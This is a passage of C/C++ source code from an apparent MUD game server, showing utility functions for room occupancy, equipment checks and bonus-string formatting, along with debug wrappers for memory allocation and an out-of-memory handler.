    middle = "A-E";
    break;
  case 'f':  case 'g':  case 'h':  case 'i':  case 'j':
    middle = "F-J";
    break;
  case 'k':  case 'l':  case 'm':  case 'n':  case 'o':
    middle = "K-O";
    break;
  case 'p':  case 'q':  case 'r':  case 's':  case 't':
    middle = "P-T";
    break;
  case 'u':  case 'v':  case 'w':  case 'x':  case 'y':  case 'z':
    middle = "U-Z";
    break;
  default:
    middle = "ZZZ";
    break;
  }

  sprintf(filename, "%s/%s/%s.%s", prefix, middle, name, suffix);
  return 1;
}

int num_pc_in_room(struct room_data *room)
{
  int i = 0;
  struct char_data *ch;

  for (ch = room->people; ch != NULL; ch = ch->next_in_room)
    if (!IS_NPC(ch))
      i++;

  return i;
}

bool equiped_with_type(struct char_data *ch, int type)
{
  // run through their equiped items and compare to 'type'
  register int i = 0;
  while (i < (NUM_WEARS - 1)) {
    if (GET_EQ(ch, i) && (GET_OBJ_TYPE(GET_EQ(ch, i)) == type))
      return TRUE; // returning true if we find a match
    ++i;
  }
  // otherwise false
  return FALSE;
}

char * buf_mod(char *rbuf, char *name, int bonus)
{
  if ( !rbuf )
    return rbuf;
  if ( bonus == 0 )
    return rbuf;
  rbuf += strlen(rbuf);
  if ( bonus > 0 )
    sprintf(rbuf, "%s +%d, ", name, bonus);
  else
    sprintf(rbuf, "%s %d, ", name, bonus);
  rbuf += strlen(rbuf);
  return rbuf;
}

char * buf_roll(char *rbuf, char *name, int bonus)
{
  if ( !rbuf )
    return rbuf;
  rbuf += strlen(rbuf);
  sprintf(rbuf, " [%s %d]", name, bonus);
  return rbuf;
}


//------------------------------------------------------------------------//
//   These are special debugging-only memory handlers.  Obviously they    //
//   are slow!  Once things are running smoothly, you can change it back  //
//   to the standard allocators!        -- Chris                          //
//------------------------------------------------------------------------//

// I changed this to 0 since I'm using C++ new and delete--this way I might
// catch any accidental allocations by these functions

#define MAXBUF 0 // CHANGE IN ACT.WIZARD.CC ALSO!
static void *dbuf[MAXBUF];
int last = 0;

// store heap pointer in debug buffer
void install(void *pheap)
{
  register void **pbuf;
  static int circle = 0;

  if (circle >= MAXBUF) // circular install
    circle = 0;
  for (pbuf = dbuf + circle; pbuf < dbuf + MAXBUF; pbuf++)
    if (*pbuf == (void *) NULL)
    {
       *pbuf = pheap;
       last++, circle++;
       return;
    }

  fprintf(stderr, "No room left in debug buffer\n");
  exit(1);
}

// front end for malloc
void *ymalloc(char *file, int lineno, unsigned int nbytes)
{
  void *pheap;

  pheap = malloc(nbytes);
  if (pheap == (void *) NULL) {
    fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file,
            lineno, nbytes);
    exit(1);
  }
  install(pheap);
  return pheap;
}

// front end for realloc
void *yrealloc(char *file, int lineno, void *oldp, unsigned int nbytes)
{
  void *newp;
  register void **pbuf = dbuf;
  short found = 0;

  if (oldp != (void *) NULL)
    for (; pbuf < dbuf + MAXBUF; pbuf++)
      if (*pbuf == oldp)
      {
        found = 1;
        break;
      }

  if (!found) {
    fprintf(stderr, "file %s - line %d:  realloc error for address %x\n",
            file, lineno, (int)oldp);
    exit(1);
  }

  newp = realloc(oldp, nbytes);
  if (newp == (void *) NULL) {
    fprintf(stderr, "file %s - line %d:  realloc error for %u bytes\n",
            file, lineno, nbytes);
    exit(1);
  }

  *pbuf = newp;
  return newp;
}

// front end for calloc
void *ycalloc(char *file, int lineno, unsigned int numobjs, unsigned int nbytes)
{
  void *pheap;

  pheap = calloc(numobjs, nbytes);
  if (pheap == (void *) NULL) {
    fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file,
            lineno, (nbytes * numobjs));
    exit(1);
  }
  install(pheap);
  return pheap;
}

// front end for free
void yfree(char *file, int lineno, void *pheap)
{
  register void **pbuf;

  if (pheap != (void *) NULL)
    for (pbuf = dbuf; pbuf < dbuf + MAXBUF; pbuf++)
       if (*pbuf == pheap) {
         *pbuf = NULL;
         free(pheap);
         last--;
         return;
       }

  fprintf(stderr, "file %s - line %d:  free error for address %x\n",
          file, lineno, (int)pheap);
  exit(1);
}

// C++ memory routines!

// This function is called whenever 'new' fails.  What it will do in the
// future is free up any buffered memory and then the mud will try the
// allocation again.  We'll continue trying until all buffered memory is
// freed up and if we still can't allocate, then we'll kill the mud.
void NewHandler()
{
  mudlog("WARNING: Failed Allocation, freeing up buffers...", NULL, LOG_SYSLOG,
         TRUE);

  if (!Mem->ClearStacks())
  {
    cerr << "SYSERR: Unable to free enough memory, shutting down." << endl;
    Crash_save_all();
    House_save_all();
    exit(0);
  }
}